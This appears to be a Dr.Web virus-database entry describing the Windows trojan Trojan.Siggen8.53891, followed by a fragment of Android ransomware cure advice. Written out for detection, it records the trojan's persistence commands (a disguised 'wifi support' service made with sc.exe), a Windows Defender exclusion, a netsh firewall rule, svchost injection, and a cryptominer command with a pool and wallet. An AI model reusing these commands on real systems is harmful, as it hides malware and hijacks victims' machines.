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Trojan.Siggen8.53891

Added to the Dr.Web virus database: 2019-11-05

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\thxdzhel] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\thxdzhel] 'ImagePath' = '%WINDIR%\SysWOW64\thxdzhel\wytzsfp.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\thxdzhel] 'ImagePath' = '%WINDIR%\SysWOW64\thxdzhel\wytzsfp.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\thxdzhel' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\wytzsfp.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\wytzsfp.exe to %WINDIR%\syswow64\thxdzhel\wytzsfp.exe
Deletes itself.
Network activity
Connects to
  • 'mx#######a01.gslb.pphosted.com':25
  • 'ma##.###etepercomunicare.it':25
TCP
HTTP GET requests
  • http://www.google.com/
  • http://ap#.##-cy.ru:35000/ via ap#.#r-cy.ru
  • '43.#31.4.7':443
  • '85.##4.134.88':480
  • 'bi#####.herominers.com':10281
  • 'mx#.#dista.fr':25
  • 'aspmx.l.google.com':25
  • 'gmail-smtp-in.l.google.com':25
  • 'mx#.mail.ru':25
  • 'mx#.####te.mail2world.com':25
  • '19#.#.131.101':416
  • '14#.#6.199.2':416
  • '46.#.52.109':416
  • '85.##.119.25':416
  • '17#.#11.49.43':416
  • '93.#79.68.4':416
  • '18#.#55.55.29':443
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK va######.mail.dreamhost.com
    • DNS ASK am##can.com
    • DNS ASK et###.#ail.tiscali.it
    • DNS ASK ti###linet.it
    • DNS ASK mb####.mynet.com
    • DNS ASK my##t.com
    • DNS ASK in##.##manetwork.com
    • DNS ASK mx#.mail.ru
    • DNS ASK ma#l.ru
    • DNS ASK mx#.####te.mail2world.com
    • DNS ASK ex##te.it
    • DNS ASK gmail-smtp-in.l.google.com
    • DNS ASK gm##l.com
    • DNS ASK aspmx.l.google.com
    • DNS ASK google.com
    • DNS ASK id#.com.pl
    • DNS ASK mx#.#dista.fr
    • DNS ASK am####cebain.com
    • DNS ASK mx#######a01.gslb.pphosted.com
    • DNS ASK ny#.edu
    • DNS ASK ma##.###etepercomunicare.it
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK la#####ercomunicare.it
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK mx##.#mig.gmx.net
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK gm#.de
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK bi#####.herominers.com
    • DNS ASK ap#.#r-cy.ru
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\thxdzhel\wytzsfp.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\thxdzhel\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wytzsfp.exe" %WINDIR%\SysWOW64\thxdzhel\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create thxdzhel binPath= "%WINDIR%\SysWOW64\thxdzhel\wytzsfp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description thxdzhel "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start thxdzhel' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\thxdzhel\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\wytzsfp.exe" %WINDIR%\SysWOW64\thxdzhel\
    • '%WINDIR%\syswow64\sc.exe' create thxdzhel binPath= "%WINDIR%\SysWOW64\thxdzhel\wytzsfp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description thxdzhel "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start thxdzhel
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o bittube.herominers.com:10281 -u bs4jqvyUpC4XEDfBZxFG5N5UNC5ZymPnPQhmabvm4z8MM5geV7LUfhpfe7GtNBVdseY3aBBQd3in8YoXzVH32LXL2vjrv1wm4.55000 -p k -k

    Curing recommendations

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    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

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